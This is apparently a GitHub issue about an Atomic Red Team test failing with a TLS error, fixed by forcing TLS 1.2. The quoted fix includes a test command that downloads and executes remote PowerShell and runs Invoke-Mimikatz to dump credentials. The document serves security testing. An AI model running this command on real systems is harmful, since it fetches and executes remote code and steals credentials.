Error - "Could not create SSL\TLS secure Tunnel"
WinterIsCommin opened this issue · 1 comments
Hi, after a week of perfectly fine using invoke-atomic with no issues, I encountered today with an unexpected error,
"Could not create SSL\TLS secure Tunnel", I found some work arounds such as adding the following line in PowerShell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
It seemed to work when I re-downloaded Invoke Atomics from github, but after installing and attempting to execute the test it stilled gave me an error.
I could attempt to add the line also in the executed script but I don't know which file will include all tests.
Fixed it by adding the following command before the web request
For Example, file T1059.001.yaml
executor:
command: |
powershell.exe "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12" ; "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"